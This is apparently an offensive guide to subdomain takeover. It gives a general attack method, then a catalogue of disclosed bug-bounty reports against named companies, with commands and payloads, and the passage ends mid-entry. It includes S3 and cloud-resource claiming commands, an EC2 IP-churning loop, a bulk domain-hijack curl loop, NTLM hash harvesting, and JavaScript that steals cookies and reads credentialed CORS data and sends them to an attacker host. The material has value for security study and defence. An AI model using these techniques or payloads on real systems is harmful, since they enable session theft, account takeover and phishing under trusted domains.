# Resolve the full chain and grab the fingerprint
dig +short sub.TARGET.com CNAME
dig +short sub.TARGET.com A
curl -sI https://sub.TARGET.com # response headers (Server / provider fingerprint)
curl -s https://sub.TARGET.com | head # body: provider 'unclaimed' page (NoSuchBucket, etc.)
# (1) SaaS/CDN claim: record resolves, target returns a provider "unclaimed" page
# (2) Buyable-domain claim: NXDOMAIN *with* an ANSWER CNAME to a registrable apex
dig sub.TARGET.com
# ;; status: NXDOMAIN
# ;; ANSWER: sub.TARGET.com. CNAME peosol-lg.<unregistered-domain>. -> whois it -> buy it
Find which class your dangling record falls into, then use the matching claim.
The classic. A CNAME points at *.s3.amazonaws.com / *.s3-website-<region>.amazonaws.com and the bucket returns NoSuchBucket. S3 requires the bucket name to equal the CNAMEd host, so create that exact bucket in the right region and serve content.
aws s3 mb s3://sub.TARGET.com --region us-east-1
aws s3 website s3://sub.TARGET.com --index-document index.html
echo 'takeover-proof-<uuid>' > index.html
aws s3 cp index.html s3://sub.TARGET.com/ --acl public-read
curl https://sub.TARGET.com/ # -> takeover-proof-<uuid>
# Fingerprint the provider from the CNAME suffix, then claim in a trial account:
dig +short sub.TARGET.com CNAME # -> *.cloudfront.net / *.herokudns.com / *.trafficmanager.net / fastly
# CloudFront: create a distribution with sub.TARGET.com as an alternate CNAME
# Fastly/Heroku/Netlify/Zendesk: add sub.TARGET.com in the service's Domains field (no ownership proof)
dig +short sub.TARGET.com # -> 52.214.138.192 (provider range, no live service)
# churn instances in that region until the freed public IP is reassigned to you;
# check each new instance's assigned public IP via the API (IMDS only works from inside the box)
TARGET_IP=52.214.138.192
while :; do
id=$(aws ec2 run-instances --image-id ami-XXXXXXXX --instance-type t3.micro \
--query 'Instances[0].InstanceId' --output text)
ip=$(aws ec2 describe-instances --instance-ids "$id" \
--query 'Reservations[0].Instances[0].PublicIpAddress' --output text)
[ "$ip" = "$TARGET_IP" ] && break
aws ec2 terminate-instances --instance-ids "$id" >/dev/null
done
dig sub.TARGET.com
# ;; status: NXDOMAIN
# ;; ANSWER: sub.TARGET.com. CNAME open-elb-prod-277.us-east-1.elb-amazonaws.com (note: elb-amazonaws.com)
# whois elb-amazonaws.com -> available -> register it -> takeover
# leak: <Error><Code>NoSuchBucket</Code><BucketName>index.rubygems.org</BucketName></Error>
aws s3 mb s3://index.rubygems.org --region us-west-2 # region from the TemporaryRedirect hint
aws s3 cp names s3://index.rubygems.org/names --content-type text/html # -> stored XSS via the CDN
A live production page loads JS/CSS from a takeover-able host. Claiming it yields persistent, no-interaction XSS in the parent origin — strictly worse than serving HTML, because your script runs in TARGET.com itself with no injection into the app.
# grep live pages for third-party/self-hosted src hosts, then resolve each:
# <script src="//prod-widget.elasticbeanstalk.com/scripts/bn.min.js"></script> (env deleted)
# claim the Elastic Beanstalk environment name -> serve malicious JS to every visitor
dig +short sub.TARGET.com MX # -> points at a de-provisioned mail service you can claim
dig +short TARGET.com NS # -> NS on an unregistered domain -> register it -> control the zone
Once you serve content on the trusted origin, the impact payload depends entirely on the trust correlation:
// Domain-scoped cookie theft: a cookie set domain=.TARGET.com is sent to your subdomain — #219205 #335330
new Image().src = 'https://COLLAB/x?c=' + encodeURIComponent(document.cookie);
// CORS-whitelisted sibling read with credentials — #335330
var x = new XMLHttpRequest();
x.open('GET', 'https://chat.TARGET.com/v2/get-messages?conversationId=ID', true);
x.withCredentials = true;
x.onload = () => navigator.sendBeacon('https://COLLAB/x', x.responseText);
x.send();
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 121 in this class.
Real-world example
Dangling CNAME (unclaimed HubSpot) -> cookie theft + CORS chat read
◆ Critical
Specimen #335330 · roblox · awarded · 780 votes · resolved
Program robloxSurface webChain subdomain takeover -> steal .roblox.com cookies / CORS-reTag subdomain-takeoverTag cors
Root cause
A subdomain CNAME pointed to an unclaimed HubSpot instance; claiming it let the attacker serve content on the in-scope subdomain. Because the auth cookie was scoped to *.roblox.com and the subdomain was CORS-whitelisted, the takeover escalated to session-cookie theft and cross-origin chat reads.
Method
- Find subdomain with CNAME to a de-provisioned SaaS (HubSpot/Azure/etc.)
- Claim the SaaS instance to serve content on the subdomain
- Host cookie-logging page (parent-domain-scoped cookies are sent)
- Also abuse the subdomain being CORS-whitelisted by sibling APIs to read cross-origin data with credentials
// on the claimed subdomain, read victim chat via CORS whitelist:
var x=new XMLHttpRequest();
x.open('GET','https://chat.roblox.com/v2/get-messages?conversationId=ID',true);
x.withCredentials=true; x.send();
Insight — A dangling subdomain is not just defacement: if the org's session cookie is domain-scoped (.example.com) or the subdomain sits on a CORS allowlist, takeover becomes cookie theft and authenticated cross-origin data access.
Real-world example
Subdomain takeover + domain-scoped session cookie -> SSO auth bypass
◆ Critical
Specimen #219205 · uber · awarded · 181 votes · resolved
Program uberSurface webChain dangling CNAME -> CloudFront subdomain takeover -> shaTag subdomain-takeoverTag account-takeover
Root cause
saostatic.uber.com was a dangling CNAME to CloudFront that the attacker re-claimed. auth.uber.com issued the _csid session cookie scoped to domain=.uber.com, so it is sent to the taken-over subdomain, letting the attacker capture the shared SSO cookie and impersonate the victim across *.uber.com.
Method
- Detect dangling CloudFront CNAME (saostatic.uber.com resolves to *.cloudfront.net with an error page)
- Create a CloudFront distribution claiming that hostname, serve attacker content over https (Let's Encrypt)
- Lure an authenticated victim to the subdomain; the domain=.uber.com _csid cookie is sent and captured
- Replay _csid to impersonate the victim on riders/partners/developer.uber.com
nslookup saostatic.uber.com -> d3i4yxtzktqr9n.cloudfront.net (unclaimed)
# claim host on CloudFront, then capture Cookie: _csid=... (domain=.uber.com) at the subdomain
Insight — Wildcard/parent-domain cookie scoping (domain=.example.com) turns ANY subdomain takeover into session theft/auth bypass. When enumerating, correlate dangling subdomains with which cookies are set for the parent domain; short exposure windows (redirect between IdP and SP) are still exploitable.
Real-world example
Dangling CNAME to an unregistered domain (NXDOMAIN) -> takeover
◆ Critical
Specimen #2499178 · deptofdefense · none · 63 votes · resolved
Program deptofdefenseSurface cloudChain dangling DNS -> domain/SaaS registration -> content coTag subdomain-takeover
Root cause
A .mil subdomain has a CNAME pointing at a base domain that is no longer registered (dig returns NXDOMAIN / the target domain is buyable); registering the base domain gives an attacker full control of the subdomain's content and email.
Method
- Enumerate subdomains and resolve each; look for CNAME targets that return NXDOMAIN or point to expired/unclaimed services
- Confirm the target base domain is available (whois/registrar search)
- Register the base domain (and/or claim the SaaS) to serve content, receive mail, and run XSS/cookie/phishing attacks under the trusted subdomain
dig sub.victim.mil
;; ->>HEADER<<- status: NXDOMAIN
;; ANSWER: sub.victim.mil. CNAME peosol-lg.<unregistered-domain>.
# then check registrar: <unregistered-domain> is available -> register it
Insight — Two takeover primitives to test on every dangling CNAME: (1) the CNAME target's base domain is unregistered -> buy it (this report); (2) the CNAME points to an unclaimed SaaS/CDN (Wix/S3/etc.) -> claim the resource (also seen in #1963213). NXDOMAIN with an ANSWER CNAME is the tell for case 1.
Real-world example
Subdomain takeover via dangling CNAME to an unregistered (typo) domain
◆ Critical
Specimen #2552243 · deptofdefense · none · 53 votes · resolved
Program deptofdefenseSurface webChain dangling CNAME -> domain registration -> content/mail/Tag subdomain-takeover
Root cause
A subdomain's CNAME pointed to a hostname on a domain that was not actually registered (a typo'd apex, elb-amazonaws.com instead of elb.amazonaws.com). Registering that domain lets the attacker serve content, receive mail, and run script under the victim subdomain.
Method
- Enumerate CNAME records across the target's subdomains
- For each target, check whether the CNAME's apex domain is actually registered/claimable (whois)
- Register the dangling domain and host a proof file at the victim subdomain path
# subdomain -> CNAME open-elb-prod-277276106.us-east-1.elb-amazonaws.com (note: elb-amazonaws.com, not elb.amazonaws.com)
# elb-amazonaws.com was unregistered -> register it -> takeover
http://SUB.victim/proof.<uuid>.txt
Insight — Do not only check SaaS-fingerprint takeovers; verify the CNAME's base domain is registered at all. Typosquatted internal/cloud hostnames (missing a dot) frequently point to buyable domains — a critical, cheap takeover.
Real-world example
Subdomain takeover surfaced/confirmed via Host-header injection
◆ Critical
Specimen #2188240 · deptofdefense · none · 35 votes · resolved
Program deptofdefenseSurface webChain Dangling CNAME -> claim app -> phishing/cookie theft/XTag subdomain-takeover
Root cause
A subdomain's CNAME points to an unclaimed hosting app (Netlify). Because routing keys on the Host header, sending the victim hostname as the Host header to the provider (or after claiming the app) renders attacker-controlled content as that trusted subdomain.
Method
- Find a subdomain whose CNAME targets a claimable provider app (netlify.app, etc.) that is unregistered
- Claim the app name on the provider
- Confirm/serve content by sending the victim Host header to the provider endpoint
curl -skS https://provider-endpoint/ --header "Host: www.victim-subdomain"
Insight — Dangling CNAMEs to SaaS providers = takeover. The Host-header curl trick both confirms the dangling target and demonstrates content rendering under the victim domain before you register the app.
Real-world example
Dangling DNS record to unclaimed cloud/SaaS asset (provider matrix)
◆ Critical
Specimen #383564 · starbucks · awarded · 35 votes · resolved
Program starbucksSurface webChain subdomain takeover -> phishing / cookie theft on same-sitTag subdomain-takeoverTag cloud-aws
Root cause
A DNS CNAME/A record points to a cloud or SaaS resource (Azure Traffic Manager, S3, Heroku, EC2, GitHub Pages, uptimerobot, Wix/Shoplo, third-party mail) that has been deprovisioned; the attacker registers that same resource name/IP on the provider and serves arbitrary content on the victim subdomain.
Method
- Enumerate subdomains and resolve them (dig / massdns / Rapid7 FDNS dataset)
- Flag records whose target returns NXDOMAIN / NoSuchBucket / 'no such app' / default provider 404 (dangling)
- Identify the pointed-to provider from the CNAME/A target fingerprint
- Register the same bucket/app/domain/IP on that provider and publish a PoC page
dig svcgatewayloadus.starbucks.com
;; ANSWER SECTION:
svcgatewayloadus.starbucks.com. 600 IN CNAME s00197tmp0crdfulload0.trafficmanager.net.
;; status: NXDOMAIN -> claim s00197tmp0crdfulload0 in Azure Traffic Manager
Insight — Dangling-record takeover is provider-agnostic: fingerprint the CNAME/A target and reclaim it. Beyond DNS, expired parent domains and buyable CNAME targets (e.g. hqn.ro for 9EUR) and reclaimable mail services extend the surface. Bulk-hunt with the Rapid7 FDNS dataset for *.target.* then check each target for the provider's 'unclaimed' fingerprint.
Real-world example
Live page loads assets from an expired for-sale domain
◆ Critical
Specimen #471265 · starbucks · awarded · 22 votes · resolved
Program starbucksSurface webChain expired asset domain -> arbitrary JS in authenticated pagTag subdomain-takeover
Root cause
A production WeChat-integrated page (coupon.ec-starbucks.cn) still references JS/JSONP from spcc.mobi, a domain that lapsed and is on sale; buying it lets an attacker serve arbitrary script into the authenticated page context.
Method
- Crawl the live app and inspect responses for external asset hosts (script/img/JSONP src)
- Check each external domain's registration status (for-sale/expired = takeover)
- Register the dangling domain
- Serve malicious JS at the referenced path (e.g. weixin.spcc.mobi/oauth/_jssdk.html) to run in the victim page
# live response contains:
$.get('http://weixin.spcc.mobi/oauth/_jssdk.html',{url:...},cb,'jsonp')
# spcc.mobi is on sale -> buy it -> control the JSONP response
Insight — Takeover targets aren't only DNS CNAMEs - grep live HTML/JS for third-party asset domains and check each for expiry/for-sale status; a dangling script host is effectively stored XSS with full page control.
Real-world example
Subdomain takeover via unclaimed S3 website bucket (dangling CNAME)
◆ Critical
Specimen #918946 · deptofdefense · none · 22 votes · resolved
Program deptofdefenseSurface cloudChain Dangling S3 CNAME -> claim bucket -> full subdomain coTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain's DNS CNAME pointed to an S3 website endpoint (<name>-website-us-east-1.amazonaws.com) whose bucket no longer existed. Re-creating a bucket of that exact name in the same region reclaims the endpoint, giving full attacker control (arbitrary content, XSS, phishing, cookie theft) on the trusted subdomain.
Method
- dig the subdomain and observe a CNAME to an S3 website endpoint that returns NoSuchBucket
- Create an S3 bucket with the exact referenced name in the same region (us-east-1)
- Enable static website hosting and upload index.html / an XSS PoC
- Browse the subdomain to confirm attacker content is served
dig sub.TARGET
; sub.TARGET CNAME target-website-us-east-1.amazonaws.com (bucket 404 / NoSuchBucket)
# aws s3 mb s3://target --region us-east-1 ; enable website hosting ; upload index.html
Insight — Enumerate CNAMEs and look for dangling pointers to deprovisioned cloud services (S3 website, CloudFront, Azure, GitHub Pages, Heroku). The S3 website tell is the -website-<region>.amazonaws.com endpoint plus a NoSuchBucket page; bucket names are globally unique so you claim the exact name in the same region. Takeover on a trusted domain trivially yields stored XSS/phishing/cookie theft.
Real-world example
Dangling DNS to reclaimable cloud resource (Azure CDN / AWS) NXDOMAIN takeover
◆ Critical
Specimen #900062 · deptofdefense · none · 18 votes · resolved
Program deptofdefenseSurface cloudChain dangling CNAME (NXDOMAIN) -> recreate cloud endpoint ->Tag subdomain-takeoverTag cloud-azure
Root cause
A subdomain CNAMEs to a cloud endpoint (Azure CDN endpoint, AWS resource) that no longer exists (dig shows NXDOMAIN); the attacker recreates a cloud resource with the same auto-generated name/endpoint, which the dangling CNAME then resolves to, granting content control over the subdomain.
Method
- dig the subdomain; a NXDOMAIN status on a CNAME to a cloud endpoint signals reclaimable target
- Create a new cloud resource (e.g. Azure CDN profile) using the exact endpoint name the CNAME expects
- Bind a web app/origin and set the custom domain to the target subdomain; upload a proof file and enable TLS
- Confirm content served at https://<subdomain>/proof.html
dig <subdomain> # status: NXDOMAIN, CNAME -> <name>.azureedge.net
# Azure: create CDN profile+endpoint named <name>, add custom domain <subdomain>, upload proof.html
Insight — Cloud-resource dangling DNS is takeover gold: auto-generated endpoint names (azureedge.net, cloudfront, elasticbeanstalk, s3 website, AWS EIPs) are re-registerable. Automate: resolve all subdomains, flag NXDOMAIN/NoSuchBucket/CDN-404 fingerprints, then try to re-claim the exact name.
Real-world example
Dangling third-party service takeover via unclaimed Disqus shortname
◆ Critical
Specimen #172780 · starbucks · awarded · 14 votes · resolved
Program starbucksSurface webTag subdomain-takeover
Root cause
Live pages still embed a deprecated Disqus integration whose shortname was released and never re-claimed; registering that shortname on Disqus grants control of the comment board rendered on the trusted domain.
Method
- Grep page source of legacy/migrated sections for third-party integration identifiers (disqus_params shortname, analytics ids, intercom app ids).
- Check the provider whether the identifier is unclaimed.
- Register it to take over the embedded widget / board on the victim's pages.
<script>var disqus_params = { shortname:'DEPRECATED_SHORTNAME', ... };</script>
// register DEPRECATED_SHORTNAME on disqus.com to control the board
Insight — Subdomain-takeover thinking extends to any dangling third-party service identifier still referenced in code (Disqus shortname, GA/Segment ids, chat-widget app ids). Legacy/migrated pages are the richest hunting ground.
Real-world example
Dangling CNAME to unclaimed cloud/SaaS resource -> subdomain takeover (multi-provider)
◆ High
Specimen #665398 · starbucks · awarded · 311 votes · resolved
Program starbucksSurface webChain dangling DNS -> resource claim -> content control ->Tag subdomain-takeoverTag cloud-aws
Root cause
A DNS CNAME/ALIAS still points at a de-provisioned cloud or SaaS resource whose name is re-registerable by anyone. Claiming that resource lets an attacker serve arbitrary content on the victim's subdomain (and often obtain a valid TLS cert via domain validation).
Method
- Enumerate subdomains and resolve them; flag CNAMEs whose target returns NXDOMAIN / NoSuchBucket / default 404 (dig, then check the provider).
- Register the target resource on the provider (Azure App Service/Cloud Service/Traffic Manager, AWS S3 static site, Netlify, Discourse, GitHub Pages, Unbounce, etc.) using the exact dangling name.
- Enable hosting and serve a benign PoC page (unique path) proving control; optionally issue a Let's Encrypt cert for the subdomain.
- Escalate to phishing, cookie theft, or SOP-bypass against sibling subdomains.
dig +short takeover.TARGET.com # -> unclaimed-name.azurewebsites.net / .s3-website / .cloudapp.net / .trafficmanager.net / netlify
# then register 'unclaimed-name' on the matching provider and enable static hosting
Insight — Fingerprint the provider from the CNAME suffix, then check whether the pointed-at resource is claimable. Watch for release windows: GitHub Pages briefly drops the CNAME hold on domain changes (2085260) - a short race lets an attacker claim the domain in their own repo before DNS is updated. SaaS providers (Unbounce) can have API flaws letting you attach arbitrary branded domains (202767/209004).
Real-world example
Broken Link Hijacking: claim unclaimed resources linked from trusted pages
◆ High
Specimen #1031321 · x · awarded · 222 votes · resolved
Program xSurface webTag subdomain-takeoverTag account-takeover
Root cause
A trusted site links to an external resource (GitHub username, GitHub Pages repo, social account, doc) that no longer exists or was never registered. Anyone can register the dangling handle/repo/account and inherit the trust and traffic of the referring page.
Method
- Crawl the target's docs/newsroom/profile pages for outbound links to third-party platforms (github.com/<user>, *.github.io, twitter.com/<handle>, etc.)
- Visit each link and look for 404 / 'user not found' / 'domain does not exist'
- Register the unclaimed username / repo / account / domain on that platform
- Host attacker content so victims arriving from the trusted page land on attacker-controlled resource
# Example: unclaimed GitHub username linked from developer.twitter.com docs
1) developer.twitter.com/.../tools-and-libraries links to github.com/HunterLarco (404)
2) Register GitHub account 'HunterLarco'
3) Traffic from the trusted docs page now lands on attacker's GitHub
Insight — Enumerate every outbound external link on high-trust pages and check each for a claimable dangling target. Works across GitHub usernames, github.io Pages repos, Twitter/social handles, and unregistered domains referenced in app source. Impact = impersonation/phishing under the org's reputation.
Real-world example
Dangling DNS to unclaimed SaaS instance (Zendesk/Fastly/Instapage)
◆ High
Specimen #759454 · datastax · awarded · 194 votes · resolved
Program datastaxSurface webTag subdomain-takeover
Root cause
A CNAME/DNS record still points at a third-party SaaS host (Zendesk, Fastly, Instapage, ...) after the service was cancelled/never provisioned, so anyone can register that host on the SaaS and serve content on the victim's domain.
Method
- Enumerate subdomains and resolve CNAMEs (subfinder/amass + dig)
- Look for records pointing to SaaS hosts returning a 'not found / no such account' fingerprint
- Register the dangling host name inside the SaaS provider account
- Serve arbitrary content (phishing/login page) on the victim subdomain
dig CNAME dmc.datastax.com # -> *.zendesk.com (unconfigured helpdesk)
# then claim dmc-support.zendesk.com in a Zendesk account
Insight — Grep DNS for third-party SaaS CNAMEs and match against the known takeover fingerprints (can-i-take-over-xyz). Even a 'minimal use' domain enables convincing phishing under a trusted name and can capture cookies/OAuth if scoped to the parent domain.
Real-world example
Subdomain takeover via dangling cloud IP (dead EC2 instance)
◆ High
Specimen #1180697 · zego · none · 84 votes · resolved
Program zegoSurface cloudChain Dangling A record -> reclaim EC2 IP -> serve content +Tag subdomain-takeoverTag cloud-aws
Root cause
A subdomain A/CNAME resolved to an AWS EC2 public IP that no longer hosted an instance; by launching EC2 instances until the same public IP is assigned, an attacker reclaims the IP and serves arbitrary content (and valid TLS) for the subdomain.
Method
- Resolve subdomains and note ones pointing to cloud provider IP ranges (AWS/GCP/Azure)
- Confirm the IP no longer answers (no live instance)
- Cycle new instances in the same region to grab the freed public IP
- Serve content and obtain a TLS cert for the dangling subdomain
dig +short v.zego.com # -> 52.214.138.192 (no live instance)
# launch/terminate EC2 in that region until the elastic/public IP is reassigned to you
curl v.zego.com # -> <!-- your content -->
Insight — Dangling DNS to cloud IPs is takeover-able even without a SaaS provider: the IP itself is reclaimable by churning instances in the region. Especially impactful if the subdomain is OAuth-whitelisted or shares domain-scoped cookies. Flag subdomains resolving to provider IPs with no live service.
Real-world example
Domain takeover via an alternate service feature sharing the same CNAME
◆ High
Specimen #387307 · vimeo · awarded · 77 votes · resolved
Program vimeoSurface webTag subdomain-takeover
Root cause
Two product features (portfolio and on-demand) accept the same custom-domain CNAME but only one enforces 'already claimed'; claiming via the unchecked feature seizes a domain already pointed at the platform.
Method
- Identify a domain CNAME'd to the platform (vimeopro.com) already used by another tenant's portfolio
- Add that same domain under the *on-demand* custom-domain feature, which does not cross-check portfolio ownership
- The domain is now served by attacker's on-demand page -> takeover
CNAME target: vimeopro.com (claim via on-demand feature, bypassing portfolio 'already claimed' check)
Insight — When a platform offers the same custom-domain/CNAME across multiple features, test each intake path independently - ownership checks are often enforced on only one, letting you re-claim domains already 'taken'.
Real-world example
Dangling CNAME to unclaimed SaaS (Unbounce)
◆ High
Specimen #407355 · greenhouse · awarded · 76 votes · resolved
Program greenhouseSurface webTag subdomain-takeover
Root cause
A subdomain has a CNAME pointing to a third-party SaaS (Unbounce) where the corresponding account/page was removed, so the hostname is unclaimed on that provider and an attacker who registers it there serves content on the victim subdomain.
Method
- Enumerate subdomains and resolve their CNAME targets
- Identify CNAMEs to SaaS providers returning an unclaimed/'page not found' fingerprint
- Register the hostname on that provider (per can-i-take-over-xyz) to serve attacker content
Name: demo.greenhouse.io
Type: CNAME
Class: IN
cname: unbouncepages.com # unclaimed on Unbounce -> takeover
Insight — Resolve CNAMEs of every subdomain and match provider fingerprints against can-i-take-over-xyz; a dangling CNAME to a SaaS with an open registration is a full subdomain takeover usable for credible phishing on the org's own domain.
Real-world example
Dangling DNS to a deleted S3 bucket -> bucket claim
◆ High
Specimen #1406335 · x · none · 71 votes · resolved
Program xSurface webTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain CNAMEs to an S3 bucket that no longer exists; anyone can create a bucket with that name in the right region and serve arbitrary content on the victim's domain.
Method
- Enumerate subdomains and resolve them; find one pointing at *.s3.amazonaws.com for a non-existent bucket
- Create an S3 bucket with the exact missing name in the referenced region
- Upload index.html -> content now served under the victim subdomain (can obtain TLS, hijack domain-scoped cookies/OAuth)
dig images.crossinstall.com +short -> assets....s3.amazonaws.com (NoSuchBucket)
# create bucket 'assets.crossinstall.com' -> takeover
Insight — Grep DNS for CNAMEs to cloud storage (S3/GCS/Azure) then test for NoSuchBucket/404; a claimable dangling bucket is a full subdomain takeover usable for cookie/OAuth abuse across the parent domain.
Real-world example
Dangling-DNS subdomain takeover across cloud/SaaS providers
◆ High
Specimen #175070 · uber · awarded · 69 votes · resolved
Program uberSurface cloudChain dangling DNS -> claim provider resource -> serve conteTag subdomain-takeoverTag cloud-aws
Root cause
A DNS record (CNAME/ALIAS/A) keeps pointing to a cloud or SaaS resource that has been de-provisioned or never claimed; the provider does not verify who owns the DNS name, so anyone can re-register the resource and serve arbitrary content on the victim's subdomain.
Method
- Enumerate subdomains and resolve them; look for CNAMEs to provider endpoints (cloudfront.net, herokudns.com, *.wixdns.net, s3-website-*.amazonaws.com, freshdesk, shopify, etc.).
- Probe for the 'unclaimed' fingerprint: CloudFront returns an error/no distribution, S3 returns NoSuchBucket, Heroku 'No such app', Shopify 'Sorry, this shop is currently unavailable'.
- Register a resource of the same provider and attach the victim's hostname as the custom domain / alternate CNAME.
- Serve a PoC page (harmless marker) to prove control; note ability to obtain a valid TLS cert via ACME domain validation.
# Detection
dig +short sub.TARGET.com CNAME
curl -sI https://sub.TARGET.com # look for provider 'not found' fingerprint
# CloudFront: alias points to *.cloudfront.net but no distribution has that CNAME
# S3: http://sub.TARGET.com.s3-website-us-west-2.amazonaws.com/ -> NoSuchBucket
# Heroku: CNAME -> *.herokudns.com and app custom-domain unclaimed
Insight — Any dangling DNS pointer to a provider that does not bind resources to DNS ownership is takeoverable. Grep DNS for provider endpoints and match against per-provider 'unclaimed' fingerprints; impact is phishing on a trusted domain, cookie theft (if scoped to parent), and valid TLS via ACME. Fix is to remove the DNS record when decommissioning the resource.
Real-world example
SaaS (Mashery) subdomain takeover via custom-domain claim
◆ High
Specimen #275714 · starbucks · awarded · 51 votes · resolved
Program starbucksSurface webChain subdomain takeover -> cookie/credential theft, phishing oTag subdomain-takeover
Root cause
A subdomain pointed at the Mashery API-management SaaS whose portal allowed adding an arbitrary custom domain without ownership verification; registering a trial account and claiming the dangling subdomain let the attacker serve content on it.
Method
- Fingerprint the subdomain - Server header 'Mashery Proxy' identifies the SaaS provider
- Register a trial account on the provider (mashery.com)
- In Portal Settings > custom domain, add the target subdomain (no ownership check)
- Serve attacker content (PoC: alert(document.domain)) on the victim subdomain
# fingerprint
curl -I http://developer.openapi.starbucks.com/ # Server: Mashery Proxy
# then claim developer.openapi.starbucks.com as custom domain in the SaaS portal
Insight — Use response Server/CNAME fingerprints to identify the backing SaaS, then check whether its portal lets you claim a custom domain without DNS/ownership proof. Any 3rd-party service with self-service custom domains is a takeover candidate.
Real-world example
Dangling-CNAME subdomain takeover (multi-provider) with NTLM-hash escalation
◆ High
Specimen #380158 · starbucks · awarded · 39 votes · resolved
Program starbucksSurface webChain Subdomain takeover -> lure staff -> UNC/Responder NTLMTag subdomain-takeoverTag cloud-aws
Root cause
A DNS record (CNAME/A) still points to a deprovisioned cloud resource (Azure cloudapp/trafficmanager, AWS S3, Wix, Squarespace). Anyone can claim that resource name and serve content on the victim subdomain.
Method
- Enumerate subdomains (subfinder) and resolve them; flag NXDOMAIN/404 'not claimed' provider pages.
- Identify the provider from the CNAME chain (dig) or the takeover message.
- Claim the resource on that provider (register the S3 bucket / Wix or Squarespace domain / Azure resource) and host a PoC page.
- Escalate: host content that fetches a UNC path image to capture visiting staff NTLM hashes (Responder), then crack and pivot via VPN.
dig A svcardproxydevus.starbucks.com @8.8.8.8
# CNAME -> ...trafficmanager.net -> ...eastus.cloudapp.azure.com = Dead
# then claim the dangling cloud resource and host content
Insight — Automate dangling-CNAME detection (subfinder + tko-subs / nuclei takeover templates) and learn each provider's 'unclaimed' fingerprint: S3 'NoSuchBucket', Azure trafficmanager/cloudapp dead, Wix/Squarespace 'domain not claimed'. Escalate beyond phishing by luring staff to the controlled subdomain and harvesting NTLM hashes via UNC-path resources.
Real-world example
Mass domain hijack: unlimited custom domains + provider-IP monitoring
◆ High
Specimen #312118 · gitlab · USD 750 · 39 votes · resolved
Program gitlabSurface webChain missing domain-ownership proof -> mass pre-claim -> taTag subdomain-takeover
Root cause
GitLab Pages allowed adding an unlimited number of custom domains to one repo and stored a domain even before it pointed to GitLab's IP. Continuously harvesting domains that resolve to the provider IP and pre-registering them means any domain pointing to the IP is instantly hijacked (and the real owner is locked out).
Method
- Enumerate domains resolving to the provider IP (e.g. via SecurityTrails reverse-IP)
- Filter those showing the provider's unclaimed/unverified error page
- Bulk-POST each to your repo's pages/domains endpoint (no ownership proof required)
- Re-run on a loop to claim domains the moment they point at the IP
gron 'https://.../api/search/by_type/ip/52.167.214.135' | grep domain > list
while read d; do curl -s 'https://gitlab.com/<you>/<repo>/pages/domains' --data "pages_domain[domain]=$d"; done < list
Insight — Whenever a platform lets you attach arbitrary custom domains without a per-domain TXT/CNAME ownership proof, it becomes a mass-takeover primitive. Reverse-IP the provider's shared ingress, pre-claim, and race legitimate owners. Mitigation to recognize as non-exploitable: TXT-record verification or single-domain-per-repo.
Real-world example
Subdomain takeover via unclaimed WordPress.com mapping
◆ High
Specimen #173681 · enter · USD 513 · 35 votes · resolved
Program enterSurface webTag subdomain-takeover
Root cause
A subdomain CNAME'd to wordpress.com was never mapped/claimed there; the error page invited anyone to map it, so an attacker paid to map it and took control.
Method
- Find blog.TARGET.com pointing at wordpress.com showing 'domain not mapped'
- Create a wordpress.com account
- Pay the domain-mapping fee to map blog.TARGET.com to your site
- Serve arbitrary content on the trusted subdomain
dig CNAME blog.TARGET.com # -> *.wordpress.com with 'not mapped' error page = claimable
Insight — Any dangling CNAME to a SaaS that lets a stranger claim the hostname is a takeover. Fingerprint the 'unclaimed' error page of each provider (WordPress, GitHub Pages, Heroku, etc.).
Real-world example
Persistent XSS via dangling <script src> to takeover-able subdomain
◆ High
Specimen #188972 · starbucks · awarded · 35 votes · resolved
Program starbucksSurface webChain subdomain/service takeover -> persistent XSS on main siteTag subdomain-takeoverTag cloud-aws
Root cause
A production page loads JavaScript from a subdomain (starbucksmacchiato-prod.elasticbeanstalk.com) whose backing Elastic Beanstalk environment no longer exists, so anyone can register that environment and serve arbitrary JS to every visitor.
Method
- Enumerate external script/asset hosts referenced by the target's pages
- Check each host for a dangling DNS/service pointer (NXDOMAIN, unclaimed EB/Heroku/S3/GitHub Pages)
- Claim the environment name and host JS to get persistent XSS on the parent page
# vulnerable reference on the page:
//starbucksmacchiato-prod.elasticbeanstalk.com/scripts/bn-v1.0.0-Release-min.js
# attacker registers the elasticbeanstalk environment and serves malicious JS
Insight — Grep target pages for third-party/self-hosted script src hosts, then resolve each; a dangling cloud-service CNAME that loads JS is a persistent, no-interaction XSS, strictly worse than a takeover that only serves HTML.
Real-world example
S3 bucket subdomain takeover
◆ High
Specimen #1777077 · khanacademy · none · 34 votes · resolved
Program khanacademySurface cloudChain Takeover -> cookie theft/phishing/CSP & CORS bypass fTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain CNAME/points to Amazon S3 for a bucket name that is no longer registered, so anyone can create the bucket and serve arbitrary content on the trusted subdomain.
Method
- Enumerate subdomains and resolve their targets
- Find one pointing to S3 that returns NoSuchBucket
- Create an S3 bucket with the exact hostname and upload content
curl -k http://learn2.khanacademy.org/
# NoSuchBucket -> register bucket named 'learn2.khanacademy.org' -> serve PoC
Insight — Dangling DNS to S3/GitHub Pages/Heroku/etc. = takeover. Fingerprint the provider error (NoSuchBucket, 'There isn't a GitHub Pages site here') and claim the resource.
Real-world example
Subdomain takeover via dangling CNAME to unclaimed Shopify store
◆ High
Specimen #1711890 · gymshark · none · 31 votes · resolved
Program gymsharkSurface webTag subdomain-takeover
Root cause
A subdomain's CNAME still pointed at a Shopify-hosted site that was never claimed/was deprovisioned, so any Shopify user can add that hostname to their own store and serve content from it.
Method
- Enumerate subdomains (incl. staging.*) and resolve each; look for CNAMEs to SaaS providers.
- Request the subdomain and match the provider's unclaimed-site error/fingerprint (Shopify: 'Sorry, this shop is currently unavailable').
- Add the dangling hostname as a custom domain in your own Shopify store to claim it and serve arbitrary content.
dig de-headless.staging.gymshark.com CNAME # -> *.myshopify.com (unclaimed)
# Shopify admin -> Online Store -> Domains -> Connect existing domain -> de-headless.staging.gymshark.com
Insight — Staging/headless subdomains are the softest targets; always resolve CNAMEs and check the SaaS provider's 'unclaimed site' fingerprint. A valid parent-domain host makes phishing far more convincing.
Real-world example
Subdomain takeover via dangling CNAME to unclaimed S3 bucket
◆ High
Specimen #474798 · khanacademy · none · 29 votes · resolved
Program khanacademySurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain pointed (via S3 website hosting) to an S3 bucket that no longer existed, so anyone could create a bucket with that name and serve content on the victim's subdomain.
Method
